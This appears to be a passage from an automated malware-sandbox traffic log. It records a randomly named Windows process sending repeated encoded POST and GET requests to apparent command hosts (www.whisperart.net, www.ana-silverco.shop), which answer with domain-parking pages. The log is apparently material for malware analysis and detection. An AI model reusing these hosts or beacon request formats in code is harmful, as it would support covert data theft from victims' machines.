Dec 6, 2024 17:38:26.938864946 CET	947	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMGJhM2Q1Y2YtNzdmZC00NGQ1LWJkNTYtMTg3NjEwY2Q2ZGJiIiwicGFnZV90aW1lIjoxNzMzNTAzMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.12	49964	199.59.243.227	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:32.832287073 CET	784	OUT	POST /27s6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.whisperart.net Origin: http://www.whisperart.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.whisperart.net/27s6/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 36 46 6e 4a 70 69 39 56 2f 50 7a 63 4d 30 44 6f 71 6c 42 41 31 6f 4a 52 50 72 2b 48 4a 2b 51 49 64 77 6d 54 63 78 66 4a 35 79 61 4d 5a 6e 4a 7a 76 6b 52 39 78 45 75 5a 6b 7a 38 38 62 6f 52 42 39 46 4d 54 35 64 66 54 59 63 4c 4b 54 79 74 65 71 58 57 4f 76 34 7a 44 6b 70 68 49 52 74 42 6f 37 6f 57 38 74 78 53 50 69 2b 4c 76 48 71 72 4c 56 35 36 63 7a 74 45 75 35 33 4c 31 4d 57 4d 65 5a 45 65 57 72 5a 74 72 48 75 53 31 76 67 50 6e 56 72 45 33 46 50 5a 55 64 54 39 43 36 63 58 54 6c 67 47 71 50 7a 78 55 67 70 33 5a 72 6b 5a 66 4d 58 41 46 4f 2b 73 38 2b 2f 48 33 31 78 57 63 58 41 3d 3d Data Ascii: BHptZ6F=6FnJpi9V/PzcM0DoqlBA1oJRPr+HJ+QIdwmTcxfJ5yaMZnJzvkR9xEuZkz88boRB9FMT5dfTYcLKTyteqXWOv4zDkphIRtBo7oW8txSPi+LvHqrLV56cztEu53L1MWMeZEeWrZtrHuS1vgPnVrE3FPZUdT9C6cXTlgGqPzxUgp3ZrkZfMXAFO+s8+/H31xWcXA==
Dec 6, 2024 17:38:33.910063982 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 06 Dec 2024 16:38:32 GMT content-type: text/html; charset=utf-8 content-length: 1122 x-request-id: 7054b1ab-7b6c-49b4-b7a8-71604cbc6e8a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XXp6qAtzgFrrIyjeXUkCtPqzYHoLPwVja6ZiVVYK2s4VTThMsEXjltxbtnWgpVQUbnLKHJC+TAFovXSuqaACMA== set-cookie: parking_session=7054b1ab-7b6c-49b4-b7a8-71604cbc6e8a; expires=Fri, 06 Dec 2024 16:53:33 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 58 58 70 36 71 41 74 7a 67 46 72 72 49 79 6a 65 58 55 6b 43 74 50 71 7a 59 48 6f 4c 50 77 56 6a 61 36 5a 69 56 56 59 4b 32 73 34 56 54 54 68 4d 73 45 58 6a 6c 74 78 62 74 6e 57 67 70 56 51 55 62 6e 4c 4b 48 4a 43 2b 54 41 46 6f 76 58 53 75 71 61 41 43 4d 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XXp6qAtzgFrrIyjeXUkCtPqzYHoLPwVja6ZiVVYK2s4VTThMsEXjltxbtnWgpVQUbnLKHJC+TAFovXSuqaACMA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 6, 2024 17:38:33.910101891 CET	575	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNzA1NGIxYWItN2I2Yy00OWI0LWI3YTgtNzE2MDRjYmM2ZThhIiwicGFnZV90aW1lIjoxNzMzNTAzMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.12	49973	199.59.243.227	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:35.508073092 CET	804	OUT	POST /27s6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.whisperart.net Origin: http://www.whisperart.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.whisperart.net/27s6/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 36 46 6e 4a 70 69 39 56 2f 50 7a 63 64 6c 54 6f 78 45 42 41 79 49 4a 53 41 4c 2b 48 43 65 52 44 64 77 71 54 63 77 61 43 35 68 2b 4d 41 43 31 7a 75 6c 52 39 32 45 75 5a 72 54 38 35 56 49 51 44 39 46 77 62 35 59 6e 54 59 66 33 4b 54 32 70 65 71 45 4f 4a 75 6f 79 6c 2f 35 68 4b 63 4e 42 6f 37 6f 57 38 74 79 76 67 69 2b 54 76 48 65 58 4c 57 59 36 62 6f 4e 45 74 6f 33 4c 31 64 6d 4d 61 5a 45 66 7a 72 63 30 2b 48 6f 57 31 76 68 2f 6e 56 35 38 34 50 50 5a 61 5a 54 38 6d 70 5a 6d 46 72 51 36 51 46 78 4a 36 69 4c 6a 64 71 69 55 46 54 6c 49 54 62 39 34 78 7a 6f 2b 48 34 79 72 56 4d 41 4d 76 6d 4c 54 4c 7a 76 68 70 4c 59 62 38 69 6d 4e 44 55 50 38 3d Data Ascii: BHptZ6F=6FnJpi9V/PzcdlToxEBAyIJSAL+HCeRDdwqTcwaC5h+MAC1zulR92EuZrT85VIQD9Fwb5YnTYf3KT2peqEOJuoyl/5hKcNBo7oW8tyvgi+TvHeXLWY6boNEto3L1dmMaZEfzrc0+HoW1vh/nV584PPZaZT8mpZmFrQ6QFxJ6iLjdqiUFTlITb94xzo+H4yrVMAMvmLTLzvhpLYb8imNDUP8=
Dec 6, 2024 17:38:36.584779024 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 06 Dec 2024 16:38:35 GMT content-type: text/html; charset=utf-8 content-length: 1122 x-request-id: 3649f253-ea3f-4bd4-b0a8-2afd2e742596 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XXp6qAtzgFrrIyjeXUkCtPqzYHoLPwVja6ZiVVYK2s4VTThMsEXjltxbtnWgpVQUbnLKHJC+TAFovXSuqaACMA== set-cookie: parking_session=3649f253-ea3f-4bd4-b0a8-2afd2e742596; expires=Fri, 06 Dec 2024 16:53:36 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 58 58 70 36 71 41 74 7a 67 46 72 72 49 79 6a 65 58 55 6b 43 74 50 71 7a 59 48 6f 4c 50 77 56 6a 61 36 5a 69 56 56 59 4b 32 73 34 56 54 54 68 4d 73 45 58 6a 6c 74 78 62 74 6e 57 67 70 56 51 55 62 6e 4c 4b 48 4a 43 2b 54 41 46 6f 76 58 53 75 71 61 41 43 4d 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XXp6qAtzgFrrIyjeXUkCtPqzYHoLPwVja6ZiVVYK2s4VTThMsEXjltxbtnWgpVQUbnLKHJC+TAFovXSuqaACMA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 6, 2024 17:38:36.584816933 CET	575	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMzY0OWYyNTMtZWEzZi00YmQ0LWIwYTgtMmFmZDJlNzQyNTk2IiwicGFnZV90aW1lIjoxNzMzNTAzMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.12	49979	199.59.243.227	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:38.180869102 CET	1817	OUT	POST /27s6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.whisperart.net Origin: http://www.whisperart.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.whisperart.net/27s6/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 36 46 6e 4a 70 69 39 56 2f 50 7a 63 64 6c 54 6f 78 45 42 41 79 49 4a 53 41 4c 2b 48 43 65 52 44 64 77 71 54 63 77 61 43 35 68 32 4d 41 55 42 7a 75 43 39 39 33 45 75 5a 69 7a 38 34 56 49 52 62 39 46 59 66 35 59 6a 70 59 61 37 4b 53 54 39 65 36 6c 4f 4a 6b 6f 79 6c 67 70 68 4a 52 74 42 39 37 6f 6d 34 74 78 58 67 69 2b 54 76 48 59 7a 4c 42 5a 36 62 76 39 45 75 35 33 4c 78 4d 57 4e 46 5a 48 76 46 72 64 41 75 48 59 32 31 76 42 76 6e 53 4d 6f 34 56 50 5a 59 65 54 38 2b 70 5a 6a 62 72 54 66 72 46 30 64 51 69 4a 7a 64 72 7a 49 54 49 47 51 32 42 4c 30 75 38 4b 2b 48 30 52 33 47 4f 6e 55 59 76 71 7a 71 68 39 4a 6f 46 49 57 31 35 56 42 5a 4f 61 6a 77 34 38 41 34 6a 76 74 61 5a 51 55 64 51 47 4d 2b 38 50 79 7a 75 45 54 72 6a 69 31 51 4b 39 44 76 47 55 44 71 31 6b 31 72 36 79 48 4f 76 51 49 34 67 71 78 35 55 70 58 76 6b 56 5a 6f 65 44 39 79 47 6d 41 6e 32 53 42 72 54 38 49 47 6e 73 64 51 44 5a 32 45 2f 69 66 6b 41 2b 2f 4d 42 38 44 59 6b 76 52 76 66 77 32 46 6f 5a 46 6a 68 41 59 65 32 79 [TRUNCATED] Data Ascii: BHptZ6F=6FnJpi9V/PzcdlToxEBAyIJSAL+HCeRDdwqTcwaC5h2MAUBzuC993EuZiz84VIRb9FYf5YjpYa7KST9e6lOJkoylgphJRtB97om4txXgi+TvHYzLBZ6bv9Eu53LxMWNFZHvFrdAuHY21vBvnSMo4VPZYeT8+pZjbrTfrF0dQiJzdrzITIGQ2BL0u8K+H0R3GOnUYvqzqh9JoFIW15VBZOajw48A4jvtaZQUdQGM+8PyzuETrji1QK9DvGUDq1k1r6yHOvQI4gqx5UpXvkVZoeD9yGmAn2SBrT8IGnsdQDZ2E/ifkA+/MB8DYkvRvfw2FoZFjhAYe2yG13z8tNk9WDmfJGcGGyknCABlKXwYR1BITKtAlg9P7rGCVcFbyBh4KUvLAdK2bULdkLClS6c26N6dRlefTnMNxmktloDU6wpzxrS2uNwyTGw4C+b72WcwZSQMfArjYOi8H6tGEaU6vZHH02bUTzSyWW/rww3jkAhRL9a91WNZ/vVG3+joQiwb3Ll+I5hsLwxH0TSxJ2N5/1MP8GUxn0Bqi3uyio3H054hH+oHtnHvcF3V523SBy8uwLFKKGWu/waw/+WMAuy05ws9SMb+tyTqI9RL8QckbC5ZeCzlHFy1B7Ob9TcqUU2rV+sdbQH/grhHgMyIGS0lu4vcJkB8oOBmW/DTCc0MrFi0aqEtoBW9twoiwEcaRZnQjXui822cewIfVlJvSVEhzTlhZoVVrdYx5IktIUOyGibQHUa2bSKy/TknXeQBlte7kssr4vpDyb4dI6amdG08TVw04I8LILnTirVqltPCXn8s7U+FwLa6Yikpm+WbZnxIIDUxm2lMy9N1uFVmauwC5lj6QB9PCX9sFwhKoSeQDjl2SLpNml6QelLKOa9jgDRKDuSfh0uNj+s6RpEO0IA6N952HfPjkjMjt8k7FjiJUfxlon3HqhbzOtyUp2T7YPT4vBJ8o/1C1d1Fp1gwNDpQxITTy6OA+6J/b8A2xbkgxeDB/ [TRUNCATED]
Dec 6, 2024 17:38:39.268841982 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 06 Dec 2024 16:38:38 GMT content-type: text/html; charset=utf-8 content-length: 1122 x-request-id: 81cc66e7-6bb2-4b58-bb1c-821295be339d cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XXp6qAtzgFrrIyjeXUkCtPqzYHoLPwVja6ZiVVYK2s4VTThMsEXjltxbtnWgpVQUbnLKHJC+TAFovXSuqaACMA== set-cookie: parking_session=81cc66e7-6bb2-4b58-bb1c-821295be339d; expires=Fri, 06 Dec 2024 16:53:39 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 58 58 70 36 71 41 74 7a 67 46 72 72 49 79 6a 65 58 55 6b 43 74 50 71 7a 59 48 6f 4c 50 77 56 6a 61 36 5a 69 56 56 59 4b 32 73 34 56 54 54 68 4d 73 45 58 6a 6c 74 78 62 74 6e 57 67 70 56 51 55 62 6e 4c 4b 48 4a 43 2b 54 41 46 6f 76 58 53 75 71 61 41 43 4d 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XXp6qAtzgFrrIyjeXUkCtPqzYHoLPwVja6ZiVVYK2s4VTThMsEXjltxbtnWgpVQUbnLKHJC+TAFovXSuqaACMA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 6, 2024 17:38:39.268959999 CET	575	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODFjYzY2ZTctNmJiMi00YjU4LWJiMWMtODIxMjk1YmUzMzlkIiwicGFnZV90aW1lIjoxNzMzNTAzMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.12	49985	199.59.243.227	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:40.847820997 CET	516	OUT	GET /27s6/?RZ=0nkpmZbx9Z4P2&BHptZ6F=3HPpqXJ7+KzZdUbztAJQoIdlDoC5J9hYXz+VcheInCeAf0Mmt05i/k62iF4aOsJa+VYW+vyKTPXBSx5msm7TgI/vrOYQcOVU79uPxUHt14iAAYzPN76r48s= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.whisperart.net Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:38:41.949567080 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 06 Dec 2024 16:38:40 GMT content-type: text/html; charset=utf-8 content-length: 1474 x-request-id: 64c5eba8-d0c2-413c-8dd4-4c1dd19362b5 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_BcBtzToiZOlDpcyvOL0wwl8tY+6uMoIHhT8TEcm8tdluL2fKe5c1ufVyTiXxXhOJRF+sScww1ZSpr6oPhb1rkA== set-cookie: parking_session=64c5eba8-d0c2-413c-8dd4-4c1dd19362b5; expires=Fri, 06 Dec 2024 16:53:41 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 42 63 42 74 7a 54 6f 69 5a 4f 6c 44 70 63 79 76 4f 4c 30 77 77 6c 38 74 59 2b 36 75 4d 6f 49 48 68 54 38 54 45 63 6d 38 74 64 6c 75 4c 32 66 4b 65 35 63 31 75 66 56 79 54 69 58 78 58 68 4f 4a 52 46 2b 73 53 63 77 77 31 5a 53 70 72 36 6f 50 68 62 31 72 6b 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_BcBtzToiZOlDpcyvOL0wwl8tY+6uMoIHhT8TEcm8tdluL2fKe5c1ufVyTiXxXhOJRF+sScww1ZSpr6oPhb1rkA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 6, 2024 17:38:41.949680090 CET	927	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNjRjNWViYTgtZDBjMi00MTNjLThkZDQtNGMxZGQxOTM2MmI1IiwicGFnZV90aW1lIjoxNzMzNTAzMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.12	50001	104.21.90.137	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:47.386852980 CET	793	OUT	POST /ez1t/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.ana-silverco.shop Origin: http://www.ana-silverco.shop Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.ana-silverco.shop/ez1t/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 33 64 73 34 76 4c 2b 52 33 2f 36 5a 57 79 52 38 7a 68 64 2f 4d 59 71 4f 7a 4a 39 4c 33 68 37 76 43 37 4f 35 67 4f 39 37 35 53 74 58 63 54 59 4c 2b 70 65 4f 54 37 50 41 50 79 33 31 4c 73 78 31 58 79 74 69 43 4b 42 4d 35 61 77 34 35 4c 70 7a 50 63 54 38 48 79 78 6c 53 2f 66 53 58 79 41 70 7a 48 6a 67 4e 51 6b 47 57 71 39 4c 57 64 45 5a 63 62 33 39 4e 34 70 33 45 63 39 69 78 45 44 56 69 4c 6f 2f 4d 75 57 38 36 4a 42 70 56 36 35 2f 43 39 31 62 68 6a 63 55 72 53 52 4d 6c 69 44 6a 54 59 44 65 36 38 4c 4d 33 68 4c 33 50 2f 32 43 46 30 44 33 6e 44 34 64 67 74 31 35 67 7a 69 4f 71 77 3d 3d Data Ascii: BHptZ6F=3ds4vL+R3/6ZWyR8zhd/MYqOzJ9L3h7vC7O5gO975StXcTYL+peOT7PAPy31Lsx1XytiCKBM5aw45LpzPcT8HyxlS/fSXyApzHjgNQkGWq9LWdEZcb39N4p3Ec9ixEDViLo/MuW86JBpV65/C91bhjcUrSRMliDjTYDe68LM3hL3P/2CF0D3nD4dgt15gziOqw==
